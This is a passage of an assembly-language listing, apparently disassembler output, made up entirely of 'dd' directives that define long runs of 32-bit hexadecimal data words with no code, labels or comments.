		dd 4E18C5Fh, 0F1BD1303h, 3408212Eh, 0CD6E2F24h,	4987B100h
		dd 414CB8EBh, 4FB57756h, 7C2A4AC2h, 0F504F35h, 138D31FCh
		dd 93890951h, 1C26D883h
		dd 2C598519h, 2F02F66Ch, 0E09B0A27h, 0BFCE9B3Dh, 0CA7A51D0h
		dd 1C90B5A6h, 36300DC9h, 0D8493C40h, 27AA0116h,	0DC79FDDFh
		dd 89482058h, 0C48687A0h, 0DB8135C0h, 4FD92146h, 9A687461h
		dd 16C0C0ADh, 9FC0262h,	1EE3BC2Fh, 0DF07A081h, 0C29420F2h
		dd 2AF0044Fh, 200C41A5h, 0FA7AB77Eh, 0B320500Bh, 581C024Eh
		dd 0C9D4FAD4h, 0B85DB8AEh, 25D479h, 340B463Ch, 41158113h
		dd 9CC49E00h, 0AB764E92h, 0FF470586h, 0B831B529h, 916595E1h
		dd 0F8C759F4h, 0B3704AC9h, 6B4A510Bh, 0F780E8D0h, 6BCDBEA6h
		dd 527059D3h, 54C11D98h, 66264135h, 3033A259h, 0F980133Fh
		dd 0E504F96h, 0F6D789F3h, 0D122E1C9h, 0A537530h, 0FE8BDD45h
		dd 961CE8Fh, 884244F7h,	10729D0h, 3C8DF3BBh, 65813062h
		dd 5E11EEE1h, 2D375FA5h, 929A9D00h, 3C4F576Ch, 778281B5h
		dd 501C5C1Fh, 0F40FF4F1h, 0B249AF98h, 60A3FF56h, 8C91A200h
		dd 5CB2B913h, 0E1375E6h, 0FE3399B8h, 26B5C8E8h,	0F1240087h
		dd 0AB83019Bh, 4A0AC79Dh, 815BF453h, 0F8F781C0h, 0A0D0722Dh
		dd 80043982h, 0A305BF60h, 910F537h, 481986C6h, 0B9A42F61h
		dd 3FA8A2h, 8C7CB299h, 718D010Ch, 84442C4Ch, 2FE60DCDh
		dd 11758A00h, 73B89833h, 0D9E7EE01h, 0FC617763h, 5D6D042Bh
		dd 0D1020A28h, 9043C11h, 0C8186585h, 27D74958h,	5F8B386h
		dd 24C212E4h, 2D7AEFC6h, 0B64B8D16h, 736E5869h,	0F9C22341h
		dd 252B9133h, 0E97F489Dh, 0F3F25BA7h, 7A6A5F90h, 5584704h
		dd 7495822Ch, 1BCFEEE8h, 43342FF9h, 394304FFh, 11E91013h
		dd 3060182Dh, 6880ED7Ch, 0A624505Eh, 3F2191C0h,	0E4B40075h
		dd 9BB32C96h, 0BA05D2EBh, 5FF4B5A4h, 0F70E81AEh, 47E206Ah
		dd 0D09B244Eh, 0CE4BA81h, 63E14460h, 0C14A899Bh, 0E62BE087h
		dd 1098BEh, 332BA79Fh, 2187991Ah, 54D1F4C2h, 788AFB19h
		dd 0E33DC667h, 0DEA78028h, 95892C49h, 1ED19719h, 50A098AFh
		dd 0FD8E67B3h, 6090B931h, 0A4A810Fh, 0C62E29Ch,	505EBA8Ch
		dd 9513019Eh, 0A3240B7Dh, 89C202B8h, 0FAF6058Dh, 9FF26625h
		dd 0FE1D3137h, 0C7707800h, 4A80FB67h, 14E4E0C6h, 105CDE82h
		dd 0D1FF161Ah, 0B14A7BBCh, 1E282EE1h, 7A6FE15Ah, 5F5B01E8h
		dd 94E0E33h, 8903CC60h,	69929402h, 8A3093ABh, 4CE3498h
		dd 9A807FD7h, 0F404A827h, 0ADA1C252h, 621D672Eh, 0FE2228D5h
		dd 0DB201C0Ch, 40F29E54h, 36FE765Bh, 722C733Ah,	0E32F15F0h
		dd 7391FB01h, 92D0C0D0h, 0E9E81A62h, 28710923h,	7927BBA0h
		dd 5E053A13h, 9402D4C0h, 0DCC686F8h, 0C1E65C3Fh, 2A41B509h
		dd 942B0289h, 92D1ADF2h, 60F32200h, 95800F69h, 0FE9287D1h
		dd 0A84CD3E3h, 0EA706A27h, 0E92B5954h, 8A983AFFh, 0C1A50289h
		dd 7F16D7DFh, 77BDDAC0h, 0F9448B03h, 0C77BA8E6h, 119F7369h
		dd 31D9490Ch, 259546B0h, 75109023h, 70E61724h, 854A88h
		dd 3BFFA1B1h, 5A4984E2h, 62E8E44Bh, 8818D5C0h, 5E004D9Eh
		dd 0FA8C22C1h, 7DF0A6B6h, 12DA7597h, 0E45FDF8Bh, 988C8C5h
		dd 0E31D4D8Dh, 0B3C1C14Ah, 18B62B7Eh, 202B3E51h, 0C99FBBC6h
		dd 0F0132326h, 70F9C837h, 0E4F55FC1h, 25449D16h, 81C8002Bh
		dd 1BD39D7h, 0D1048B59h, 49B58952h, 0E95B9391h,	0F92C3562h
		dd 3BCB2D6Bh, 56962DFh,	7255264h, 24C0C457h, 62EEC36h
		dd 205B8A14h, 9D19EAB0h, 86CF11C9h, 0B312FA3Dh,	109EE462h
		dd 3EC1BF88h, 0E9133555h, 0E1D88841h, 0CD2A2041h, 516341ECh
		dd 9D622E2Ah, 0DE919826h, 14A6E666h, 1CA583BEh,	1257FE12h
		dd 315DE54Fh, 0AB206E28h, 257911BBh, 9ACC31DEh,	0BDE1BC20h
		dd 83C11D6Dh, 0C7F93F5Eh, 5990F220h, 0A64C1A02h, 5F9D610Bh
		dd 46D66E76h, 1B4E0517h, 9814BE76h, 0B99840B2h,	0BD0DD22Fh
		dd 1C7902DAh, 0A482CC06h, 955C0ADCh, 823EBB01h,	86231316h
		dd 0A280B700h, 6CF5B4E4h, 0FC4D01ECh, 20112DEFh, 6DADF705h
		dd 9BC04F2Bh, 4D6380CAh, 0D49BB51h, 5B700AB5h, 58922AECh
		dd 80D890BAh, 8F8D4BDBh, 0DD745089h, 239E105Bh,	894B897h
		dd 800CE97Ch, 1481B0D1h, 0CC021692h, 5F1D4AB1h,	2D935C85h
		dd 8D0099BDh, 0D97379DAh, 6B2EFD27h, 12142398h,	4A8AE310h
		dd 49D369CAh, 4C3D25DFh, 8F4CBE82h, 0D4097569h,	5A442859h
		dd 7BE78140h, 20E3657Fh, 0FC1CDB17h, 0FB2DB88Dh, 98DF803Dh
		dd 7C1F66C4h, 0CEADEB09h, 0C9347EAEh, 23921959h, 59131209h
		dd 336DA7EDh, 85042245h, 0DC142F15h, 0B26DA912h, 41A85F2h
		dd 0F301F87Bh, 6E136B20h, 6655C291h, 2E8D00AFh,	6770D853h
		dd 6E0F81CAh, 4F5B1D37h, 2FF1CB01h, 0AE21266h, 6E85EC8Dh
		dd 560A2682h, 0A5A371EEh, 0DEA15C26h, 7FD02302h, 77DF4983h
		dd 772FA710h, 36A40D06h, 0F8AD89h, 985D6A0Ch, 8804E5B2h
		dd 0F8604A14h, 89E8C0EDh, 1CA7BBFh, 327EB85Dh, 0C89C6FADh
		dd 3254DB5h, 56FB6226h,	0CF17DCCFh, 1C043110h, 8D1221C9h
		dd 2122B03h, 0AA80B8DBh, 7B8B8C29h, 0BBDE7601h,	3EEE8D03h
		dd 120D482Eh, 40E5ED6Bh, 14F31061h, 906AF3BEh, 99AA1A02h
		dd 57905536h, 207DC3E1h, 96112E12h, 34FE2B3h, 0C9EB8113h
		dd 3F3409B9h, 4F1C6h, 310F5B56h, 585AEAB7h, 0A550ABB5h
		dd 0AEE28A74h, 0B1D0E301h, 0B5F8182Dh, 5EAC1ECEh, 0F581F3A0h
		dd 7A3BB700h, 0D62A9CBCh, 0EFE80002h, 68B4735Eh, 402DFD3Ch
		dd 6689627Bh, 14EE9F24h, 0BB8ECD60h, 0E56F3668h, 0E83298B2h
		dd 0C98A10h, 0AEEE08E1h, 5A802C9Dh, 921635C1h, 6102379Ah
		dd 0C309E07Fh, 7B5F28FEh, 9530BA0h, 4EEE64C9h, 0D47B94h
		dd 4E550DAEh, 3641FD37h, 0F88BAC12h, 0E94FBDB3h, 7049CFB3h
		dd 908FE912h, 0F95BB3Fh, 7D729A95h, 12097004h, 0DB5E5BA3h
		dd 0E5E893EEh, 0B5618688h, 0A80412BDh, 27E69664h, 67A255F0h
		dd 0F7A4EC04h, 42F09D39h, 87BB9525h, 1041D81Ah,	0F367800Dh
		dd 499CA8BCh, 0B8E734Fh, 0DBE0ADA9h, 0B7BD4689h, 91A0834Bh
		dd 0CDE8E362h, 6D197E2Dh, 7DFC60CAh, 0B9669F81h, 6E610746h
		dd 18161025h, 0FF866C9Bh, 2169FCD5h, 0AF3C51E5h, 0B8C08C6Dh
		dd 5B852956h, 687A80A9h, 4C2DEAD0h, 0D5330AF0h,	0D2192F02h
		dd 709BFB0Fh, 701643F0h, 8AE11BB8h, 8140302Ah, 501589CFh
		dd 269043F4h, 6DAF0FFAh, 2F3CC07Dh, 0FC0A1B7Ch,	9753BF66h
		dd 0A9086D88h, 718BA8C8h, 0C0614AE1h, 0F4DAD99Bh, 0ED2D2AEFh
		dd 0F205C52Bh, 0DE358927h, 23EF608h, 8BD801BCh,	8EAF87A7h
		dd 669AC88h, 2D39512Fh,	0F0F98D9Ah, 601C26D7h, 55A05B79h
		dd 4BDF833Bh, 38096AF0h, 18DC01BDh, 45C85E0h, 671AC487h
		dd 300E7DC0h, 86262E72h, 0CED09D1h, 27C20659h, 0CB86D604h
		dd 10607054h, 905B31BEh, 0C038B683h, 0CFDC01CBh, 0D68D1B4Ah
		dd 41B98360h, 62800D05h, 0C91E0947h, 0AED0533Dh, 7E09D47Ah
		dd 829DFF33h, 0B0DD131h, 198BEE6h, 0CC24B127h, 1AD99782h
		dd 0BFF88312h, 0C196809Dh, 0AC9E592Ah, 0AE58CA0Bh, 5B5DB167h
		dd 887E50C5h, 220B2AF1h, 6434C727h, 43520608h, 0BCF9891Ah
		dd 0B79F24FAh, 20770043h, 43D8CC0Fh, 4197C0E4h,	0DEAF526h
		dd 42D16EF0h, 0C94DD88Ah, 0F16F3Fh, 254E891h, 13D326Eh
		dd 0FBBF3B63h, 2B6DBD11h, 0BBBD2835h, 0F601D7B8h, 6B231420h
		dd 373071D4h, 1994907h,	398C1BB8h, 3B02FA33h, 0BFE2ACF6h
		dd 7D9F982h, 0B3E26B56h, 492856FBh, 8998B7FDh, 4B85F8CEh
		dd 0B70F944Dh, 0ACD14915h
		dd 0C7AE0978h, 0AB845945h, 133EACD9h, 52BF9D29h, 2A39A1A0h
		dd 9F043734h, 39AC394Bh, 0C40FDE5Ah, 0D5826D53h, 2993A71Dh
		dd 8A022D62h, 41093A68h, 79EC7318h, 12321817h, 0B7FE1146h
		dd 0B5DA5F36h, 74DD9780h, 0DC1D1194h, 0E500EF81h, 23603F50h
		dd 6D12D8Dh, 2EA15DA2h,	0E4380B0Bh, 59BE0042h, 968354Ah
		dd 0B62CCCEDh, 9E0B7690h, 72C6460h, 952C20DEh, 81002E1Fh
		dd 0BF4DB9C4h, 726C9F0Eh, 995E692Ah, 0A2303007h, 594B1249h
		dd 82FF2461h, 9EB2D9F2h, 0B2F8DF02h, 0CD6B5156h, 4EA1C0B2h
		dd 136FE80Bh, 190E317h,	2FC7C8AAh, 9A570091h, 1C2B3264h
		dd 0D2044058h, 5FF88F71h, 35A284ACh, 0CD958921h, 0BC4AF768h
		dd 7C57261Dh, 61EA8A06h, 1AED9DD5h, 90DE5CC0h, 6B430A19h
		dd 0E28AC2B4h, 5856DA8Bh, 2BDB76Bh, 0C0617301h,	0DDA60A41h
		dd 0A0A3754Ah, 0CDB5375Ch, 505DE01Ah, 0BCC4BFE6h, 2F81777Bh
		dd 742B172Dh, 0B8E8ED75h, 0BF054896h, 958C927Fh, 48448414h
		dd 0A180EEF9h, 0D863601Fh, 0C604EB00h, 0C9864532h, 9BB53507h
		dd 8F72B866h, 279A5661h, 4EF6D6D6h, 12FFE898h, 0B2B0A80Fh
		dd 0CBF84A8Bh, 80286F90h, 0D4E9BF6Fh, 5AFF71F3h, 9B7C13B3h
		dd 825F822Ah, 88B8D5A5h, 5482191Dh, 8F7CA58Dh, 0F64600F4h
		dd 3C150AC1h, 72942D56h, 30F09013h, 71C883C2h, 44E8C6Dh
		dd 0F9608F0Bh, 0EB803DECh, 0C7E5879Dh, 0D400E4C2h, 6BB16FB8h
		dd 73B66072h, 2616405h,	84B28490h, 9B9FBFB4h, 4055B780h
		dd 1B073A29h, 0B4270982h, 35C5F93Bh, 14466F56h,	9A977E9h
		dd 5E1963F2h, 0CE248942h, 80BFBD5Dh, 7DB189C2h,	6155F9D9h
		dd 418128ADh, 0D94C7CAEh, 0B250FE16h, 0B3901EB7h, 0F57B78D7h
		dd 13FED390h, 4887FC81h, 3945B509h, 2A6AD259h, 5B2DF109h
		dd 181D79D2h, 0C1B500BBh, 0F299FF4Fh, 0D276D984h, 3720D15Bh
		dd 2F676FBEh, 5C690D3h,	45D11495h, 0F1FC60AAh, 0B801240h
		dd 26AD3E7h, 5570D6D3h,	282704FDh, 82E1B350h, 0EA29991Dh
		dd 4210F559h, 67000AEBh, 880C8204h, 0A05F5B62h,	25BF66DBh
		dd 947C1981h, 3F1946D4h, 9565057Bh, 0FCAF09Eh, 8F6A4Eh
		dd 0CF8CAD11h, 58BC494Eh, 0F82DC2F5h, 85C19A74h, 0E900156Dh
		dd 16970DADh, 80FC4821h, 76E8ED59h, 4CED890Bh, 6DD47464h
		dd 0C55CF20Ch, 0C01ACD2Fh, 0EAC15688h, 8F60F09h, 0E9615CF8h
		dd 54ADCDB5h, 0D6D58F92h, 9501BEA1h, 510A2B05h,	0C43B9C90h
		dd 125A38BBh, 0A7F2712Fh, 4899904Bh, 1D11A141h,	0D842292Eh
		dd 83ABA5BDh, 0C6D93C25h, 0E3BB033Dh, 6A575AC7h, 0B918A9E4h
		dd 0C1E4D43Fh, 2E2E0DF6h, 38A0C9E7h, 0C0BFD825h, 810AB126h
		dd 67622E5Bh, 6F642946h, 0F7426E07h, 0F8928817h, 8315CB0h
		dd 0E6051125h, 831E5170h, 5F252250h, 0A1965FFEh, 182563AFh
		dd 4BC75D4Ah, 24FC8B95h, 8077A8A5h, 0AF920F1h, 0D1CB593Dh
		dd 0E237EF12h, 5081595Bh, 5417D7Ah, 9BBC430h, 44D9919h
		dd 0FC456170h, 0A13680DAh, 37D431h, 697B34B3h, 6B27868Bh
		dd 0F518D809h, 401A5CE8h, 70374B50h, 0C72D6C00h, 3106CBDAh
		dd 5B380133h, 8529C82Bh, 0D7436F95h, 0B28B9BDh,	0E9F8D10Dh
		dd 81C25474h, 9DC20E27h, 851002E5h, 191BD18Dh, 0E0F50070h
		dd 963231D7h, 5E04CBF2h, 4B5BDAB7h, 9D2742AEh, 0A55C0FC1h
		dd 9A013CB8h, 56123389h, 2624918Dh, 7125B860h, 232F40DCh
		dd 32005F54h, 15A830C4h, 22BB4D2h, 61FC2D4Eh, 0B7993EE9h
		dd 98C6FDFh, 9C1197F8h,	0A385082Bh, 85A5FA61h, 0E102FE16h
		dd 0E2FF3FD3h, 51790414h, 3A31CDFBh, 975F1BCCh,	0F145A130h
		dd 0E63D9Fh, 0D19BA1F5h, 1095A84Ch, 0E3FE31h, 39752260h
		dd 0B7EA383h, 91030C74h, 0D21D2F63h, 0F470414Ch, 0B67CB2Ah
		dd 2265BD2Bh, 0CA82B9B2h, 0FA55802Ch, 973E5F7Ch, 0A874790Bh
		dd 8AC504DCh, 0BC031440h, 0CDFC25C9h, 2E51C27Ch, 0BBFEFCE0h
		dd 2D1FD304h, 5FF8B866h, 1211A5C4h, 0F5A830EBh,	4C3AAA0Dh
		dd 8949805Bh, 59C912CEh, 545F7AFCh, 97DE20BAh, 5CC4961Eh
		dd 60A702C5h, 0BBE0C1A3h, 0CE16D18Dh, 0E9F88FAAh, 0AB950F20h
		dd 79D3DB8Fh, 58DFF0A0h, 498D4713h, 46F7ACDh, 0B8BDB23Ch
		dd 0C781DE78h, 3180CEE1h, 0D2E7CB2Ah, 0CCA9BCE9h, 101351B9h
		dd 61FC7B03h, 2838809Eh, 0A68CCE9Bh, 0B6107E0Fh, 0CB5545BCh
		dd 0C7AAC8AFh, 94D05200h, 686EB86Dh, 29BC0C58h,	5BC3B595h
		dd 58B731E2h, 47CFB7E1h, 0AB477241h, 0A79C9640h, 0CA14975Eh
		dd 0FA314B68h, 0ED9200DEh, 0D25209A7h, 57B05F7Bh, 57DCCD59h
		dd 0F5F54A5Ch, 0BBD8352Bh, 0C8014CCh, 0E1FF31CFh, 95EC92Eh
		dd 20B14776h, 564E045Fh, 7189FC87h, 4684284h, 42024F5Dh
		dd 3C51BFFEh, 4182380Eh, 0F7EDA22Bh, 928EC2EEh,	406C7EFEh
		dd 0BC33F5E5h, 0A83C0700h, 1480B9E1h, 5A6505C3h, 87AABFB2h
		dd 9D3311B6h, 0E1B578DDh, 0ABA0D686h, 1E912081h, 0A76E605Bh
		dd 6280DE38h, 0B766ACFAh, 8A2522F2h, 82AAC2D9h,	5526E1CDh
		dd 0C29688BFh, 565588h,	0FCE46AFDh, 8F5BDE29h, 4BB20E00h
		dd 32F77749h, 2F1A972Ch, 0FDD57586h, 9E975F4Bh,	3B8BAF08h
		dd 0B5A575F3h, 471304D9h, 0D28EB8E2h, 0E78074DBh, 0E9F1E276h
		dd 0EADCA31Ch, 6BF1DBAh, 50626885h, 32FCAD12h, 7E66F98Dh
		dd 68517000h, 127B96C6h, 97800F9Fh, 0A347E163h,	0E854F231h
		dd 96D390Fh, 0DC8CFE60h, 9BFB4003h, 0AB683753h,	8AF7C023h
		dd 773A97FEh, 1FD4317Eh, 4A36A995h, 10A3013Ah, 77D94A26h
		dd 0B3C57FF2h, 7AD82D00h, 1730CBBh, 0F1392302h,	0C80BF796h
		dd 59028EE6h, 0E96AAB3Ah, 9FAA1A8h, 55CE8995h, 1491FE37h
		dd 0CFF63C8Bh, 25327425h, 3DDFA862h, 5588803Dh,	29B9C5Bh
		dd 0A534BB3Ch, 9BB1045h, 0D49F02B7h, 0F814D235h, 5513B855h
		dd 66028507h, 7875F5BBh, 9DAC840Fh, 0BBE1626Dh,	9C300B7Fh
		dd 0C4408233h, 6E950C01h, 196EC419h, 92B3B922h,	0F8097DAh
		dd 23C0EDB5h, 9D897704h, 0B3162F81h, 0A16700F6h, 0D0210A55h
		dd 74F0034Dh, 0EBC69F19h, 0B6BF898h, 0F60DB0Dh,	51C23182h
		dd 807D1FFCh, 27E95DD5h, 0CA099DD4h, 870C9A2Fh,	0C6FB2157h
		dd 86A58070h, 0F78102C6h, 7063BE7Eh, 46D6C35Ch,	997D001Bh
		dd 9ABE0BE0h, 0BF7201F5h, 48633D0Dh, 38EE2060h,	3EB85Dh
		dd 6861C225h, 4B237BE2h, 2CBB3D3h, 636BC3BBh, 1DF4483Fh
		dd 2CFB0088h, 0C9ED8060h, 0D55EBD89h, 4A97612h,	9D56318Bh
		dd 8FC45044h, 235231AAh, 1393567h, 2E06E1E9h, 5661A771h
		dd 0C09FD52Ch, 2C6585B0h, 48049668h, 5BF5C3A4h,	2D2B15B1h
		dd 0F00866B1h, 763B1CFCh, 475D1729h, 0C078305Ch, 6010EDBh
		dd 35DCC45Eh, 0DD40EC6Ah, 975F5C20h, 50690614h,	5410DF39h
		dd 3013933Fh, 79AFBCC1h, 907B1014h, 0D005E21h, 25F34F05h
		dd 2F438CE1h, 0E94AE95Fh, 76E52F4Dh, 22E3FD02h,	75005E62h
		dd 784AFBC9h, 50B50F2h,	70BE4094h, 78C59B45h, 4E0BBA9Ch
		dd 72870FF5h, 9795980Bh, 0F5693714h, 0EE3C15Bh,	6B4BD92Eh
		dd 0C2093DA2h, 1C16099Fh, 4141D56Fh, 39B2CD9Dh,	0B2D2BC7Ch
		dd 5BA40293h, 5E76CC2Dh, 0C781601Ah, 912A4E80h,	0EB7C1646h
		dd 7D02BD12h, 6A4B17E7h, 62D50715h, 79D932FFh, 0CB5EA713h
		dd 96270C10h, 29EBE07Ah, 726B8FBh, 62973AFDh, 13870B9h
		dd 0A79D319Dh, 0ABF9BDCEh, 59BCDB2Ch, 7D2F181Dh, 0A40901BFh
		dd 4E856B32h, 0D6342E67h
		dd 4EBE0EC5h, 59C42939h, 328AB24h, 941A97DEh, 9456A7CAh
		dd 0DE1774A5h, 13A144BFh, 0F24EC4C0h, 5E2A003Ch, 0E23F9840h
		dd 0A9227A0h, 0BDFE281Ah, 0E4ED0F9Eh, 0DC10958Ch, 5B009EEEh
		dd 70D7694Fh, 13534BCCh, 6C3767h, 0ABDCC10Ah, 0B97615Fh
		dd 0F595059Ah, 0A0AC8E94h, 0AD10F8D0h, 0A2C44A12h, 0F80BB9Fh
		dd 0EE2329ABh, 0C6515712h, 8224A412h, 9E8460EBh, 8BFF970h
		dd 7C69FF15h, 1412DE2Ch, 0CF3017A9h, 221182h, 0A73ECFFCh
		dd 718D2940h, 0AAB648B2h, 21846D6h, 333A91A8h, 65985FFBh
		dd 0AB979589h, 303D4054h, 0B79612EFh, 1E33EC77h, 33136BFBh
		dd 3D241509h, 8216117Ch, 6A5A0B5Ch, 48066889h, 0A83A97BBh
		dd 0AD507CFBh, 0FC603822h, 91C561A5h, 0B5317827h, 8E0A34Dh
		dd 0BAD88A50h, 60228D9Bh, 33BBF5C7h, 3B1F5315h,	0F8D45DA4h
		dd 0B5BD3D03h, 0C59060C0h, 0FBC9815Eh, 61E4497Fh, 0F8BCD71h
		dd 4B23338Eh, 0E57CE788h, 0F09B4ADh, 0A672D8B7h, 0D0ACFB9Fh
		dd 4B5E9CAh, 0A6B82C3Ah, 0EF8552E3h, 23005A7Ah,	0FF788505h
		dd 3C984748h, 0B5AEBA95h, 713884E7h, 5308FB95h,	52C61311h
		dd 0D2B0B27Fh, 0E3E048A6h, 4B002F21h, 8137E2B4h, 4BE94851h
		dd 8BD08144h, 0C02C5AC1h, 99B6F7DBh, 7AB2ECABh,	0BE214DEEh
		dd 0F94B1820h, 7AEBD095h, 0AC512647h, 8A270211h, 56AFDF74h
		dd 8E49604Dh, 0F45B917Ah, 9526B486h, 30534D11h,	1040ED43h
		dd 876FB55Bh, 47B7A140h, 20E52ED6h, 14F90895h, 0E0EB8009h
		dd 0C551B723h, 0AA740BF4h, 0A841D9Eh, 0EB57840Fh, 0B84EC9CAh
		dd 0EB04965Fh, 1D85DFBFh, 0ACFED4AEh, 3FB64AD3h, 0F599C4E3h
		dd 0C578AD07h, 79580038h, 0C2698E1h, 4C1BEC01h,	4EBF76FAh
		dd 4FA74FF0h, 5B6EE350h, 90D390ECh, 0F95BBFD1h,	6ADF8B12h
		dd 65BCD2B9h, 0D3806200h, 81F88B5Dh, 8F760BEFh,	0C256219Dh
		dd 5218A588h, 0AFE065CDh, 93AB6E6h, 71EDCC92h, 6B0393C4h
		dd 3175AA4Ch, 0AD5F9840h, 0A43E027Ah, 473DEE69h, 1B5994C2h
		dd 5FA27E85h, 9DEF60ABh, 0ABC916B9h, 7381FBD1h,	69F87FBBh
		dd 0AA2D0F6Eh, 5E81E636h, 4AE0A803h, 9888FCA3h,	5C8D8989h
		dd 26A8B17h, 0BAE7AA00h, 604F505Bh, 32000FA3h, 7B91CBEBh
		dd 3AFE81D4h, 60B870E5h, 0D84C369Ch, 7C55C45h, 2AE4D802h
		dd 66575FEEh, 0FD614E89h, 8D6E4A2Ch, 67B3D800h,	0ACC4AED7h
		dd 759D3309h, 43216834h, 3C8E2E3Bh, 0F53AD7Ah, 7EE3D8h
		dd 18E8754Bh, 8A1F7825h, 0E9FCDA09h, 0C219797Ch, 0F017415h
		dd 1BAD0C89h, 4AF0DD9h,	0E71418F4h, 0ED9637C0h,	3D25AB63h
		dd 64E8CDF9h, 73D46019h, 122519CAh, 0D6B5726Eh,	5BA89004h
		dd 97A0688Fh, 20B440Dh,	0FCCECB01h, 0C8B707FBh,	30BFFC40h
		dd 7ED713F4h, 8FE2DB90h, 0A4B5E041h, 4B12631Eh,	3B14D94Ch
		dd 258D84B4h, 17E509C9h, 0E822BF01h, 9D6B420Eh,	0A8216D23h
		dd 590D0EEAh, 0CD400BBFh, 14CEF26h, 8D94BD5Eh, 0FFF980AEh
		dd 39C013E8h, 9F0E1205h, 0CF073DA5h, 47F77280h,	0D2AFD96h
		dd 0E1A6190Bh, 2619774Fh, 9584705Fh, 0E9055Bh, 6D1252E8h
		dd 29B237B6h, 4A39984Bh, 242E5C8Ah, 930C10B5h, 4D1061BBh
		dd 70E60116h, 46141CA2h, 1A3D1087h, 0E71E414h, 49952981h
		dd 4A322F0Ch, 0CFD0290Bh, 7E4D0997h, 377B4088h,	0B00011A0h
		dd 0DF217341h, 14D63D77h, 957182F3h, 6D73592Dh,	3D045093h
		dd 5B0C07F9h, 93D7250Eh, 886552EAh, 68684A5h, 6E1DE6Ah
		dd 892DC656h, 6C41D42Eh, 79970914h, 0CCBF80DBh,	0E91E2268h
		dd 70210E44h, 317365h, 12047710h, 54D8E7F7h, 0C82B3212h
		dd 0F5008EA8h, 0BFD18BA1h, 27E67EC2h, 0A444E954h, 380D2C05h
		dd 49EE858Bh, 3C78F508h, 0C908D97h, 0A10A823Bh,	42397229h
		dd 7DB0002Ah, 2666DBBEh, 0E9611757h, 7DEA9C55h,	31058700h
		dd 0FC81C8F0h, 0FA860054h, 431B4108h, 0F33F2EEDh, 2BCFD55Ah
		dd 0BD0810B6h, 84C20BADh, 7D1E2C24h, 0A3A50244h, 22447D1Bh
		dd 955128A9h, 0FD0C8B70h, 51785C10h, 7F60C294h,	0ED02E5BFh
		dd 9D094756h, 6BA95585h, 1DE03F4h, 9CCA58B6h, 95727EF8h
		dd 4AF905B2h, 6FA8E7B2h, 0F8FE6017h, 0F5B9490Bh, 0C5B768A9h
		dd 0E08B978Fh, 0A2782235h, 0D9B9D2Ch, 4F0492C0h, 8997C9FAh
		dd 9E79F376h, 19AACD9h,	7DD3FF0h, 0BD5DC2B8h, 0BBFEA5CCh
		dd 0B4BF0F43h, 0B78445BCh, 9B3B6916h, 580680BDh, 0B76AEAFAh
		dd 0FCEA38E2h, 90DC6D54h, 4BB77F85h, 3A5DC95Fh,	0DC80F49Bh
		dd 0A9831F93h, 397B6409h, 45F7BD9h, 0BC439DBBh,	6AA2D35Eh
		dd 0DA959900h, 0B093BF31h, 0CAB4F302h, 5E704D50h, 37BB5E6Ah
		dd 13C81C50h, 0AE013F0Dh, 9561301h, 9134ED85h, 0F690B55Fh
		dd 0C0009DBAh, 8E53C4F3h, 9FE35C9Ch, 335C9262h,	32AD5751h
		dd 48DE365Eh, 47534EF3h, 7C228D4Bh, 712D25A0h, 95CDA7FAh
		dd 5D3F3242h, 1F820662h, 3F5E2A75h, 0FE149F71h,	3922DF04h
		dd 0A8A23FBCh, 8F70652Bh, 7BF26386h, 43FF05F0h,	0D0BF0E71h
		dd 158589A4h, 0B30F6BBFh, 6000842Dh, 34619501h,	95E51B5h
		dd 24F59D89h, 0FCB8FC3Ch, 83A69B5Eh, 80269493h,	67B7B328h
		dd 7C955A99h, 7525BB6Dh, 6AEAC979h, 0B001E73Ah,	1785DDAEh
		dd 64604BC0h, 0C9C18331h, 5E5302BCh, 0E8175E61h, 0EAF67E36h
		dd 0A08E4F12h, 0A45919F7h, 4100D2ACh, 54E442BDh, 975F4C6Eh
		dd 105F75E2h, 559F5Fh, 0EACF0818h, 445C6FEDh, 164783Dh
		dd 81C409E1h, 0D42FFBA0h, 0C1F409DAh, 0FBB51CD0h, 0C971D04Fh
		dd 80A7FE01h, 0F014CF32h, 48DCA3Fh, 5350DE8Bh, 0FE1734AFh
		dd 5FC8C999h, 0D61D68Bh, 0C010FE7Fh, 40A265B3h,	5809F87Ch
		dd 59427BF8h, 51611815h, 0DD1F8FEh, 0F83F752Fh,	122A2049h
		dd 0AB025FE9h, 0E7E777Ah, 0D7640560h, 0BD29C160h, 32991C91h
		dd 105D08h, 8DDAE381h, 9997748Fh, 0B1715754h, 5F022CF1h
		dd 73273A5Eh, 0E5F1D8EDh, 0C16F7FAh, 9AA256Fh, 0DF5C0269h
		dd 0D57004EBh, 1DB2825Bh, 4052365Eh, 5B02C057h,	5696F89h
		dd 0B529D37Eh, 2DAA0085h, 979A7F44h, 3729F780h,	6E0083EEh
		dd 3188D2C1h, 97051DBDh, 2AFC4FB2h, 9F8317D4h, 0FC033503h
		dd 75B380B1h, 2595BC0h,	12A8F78Dh, 2F41A713h, 0E09657C5h
		dd 50B4B796h, 0AE40B49Eh, 176E9C20h, 8A8664h, 7C15CA0Fh
		dd 73002439h, 55EDBF1Ah, 595F6CD2h, 0B0BCBC96h,	9E1FC9E6h
		dd 1D297DCh, 2B0F61F3h,	154B119Dh, 0E15A6656h, 5D7A50B8h
		dd 69DAA467h, 14C479C4h, 0E2892EB7h, 203AE149h,	7F7805E1h
		dd 0CC93BB00h, 0DCE35A9Ch, 1A96032Ah, 811611AEh, 3E20544Ah
		dd 26ACBEC5h, 7112FD6Ah, 6A0A315Bh, 0D30928Dh, 0D1945B16h
		dd 4DAB6DBh, 75BCBFF9h,	3E9D2004h, 0AC4D8E5h, 53D4D2FFh
		dd 12650B7Fh, 2FAB5C59h, 3C60F1EFh, 4B3F12Ch, 0B21E254Eh
		dd 804BBC50h, 98C6702h,	9CED00D9h, 0CC519D65h, 9A01077Ah
		dd 0A3AA0AF4h, 6170FAD7h, 131A9F5Bh, 70BD8D4Ch,	6102E9E3h
		dd 0AA960277h, 5ACD5E71h, 7D56B2CAh, 0F72A3651h, 66D4B0ABh
		dd 7BC6002Fh, 0D1B9C023h, 0F20ACF81h, 0DE3699B1h, 0E909C91Eh
		dd 979FE61Eh, 53717F1Dh, 4551F120h, 0FBBC9223h,	978E3EF2h
		dd 0E875BD92h, 3801028Eh, 1D080620h, 12847140h,	6492D4A5h
		dd 0E12F71F2h, 61FBDFE2h, 82181B59h, 731A4D00h,	45B1E130h
		dd 0CDDE4B8Ah, 25A77C6Dh, 3EBFC51Eh, 258D2D2Ah,	0AC44890Fh
		dd 51CDD84Bh, 443D95D0h
		dd 7E09BB2Bh, 0A23E8040h, 441FB73Ch, 9B6EFFFFh,	0CD548081h
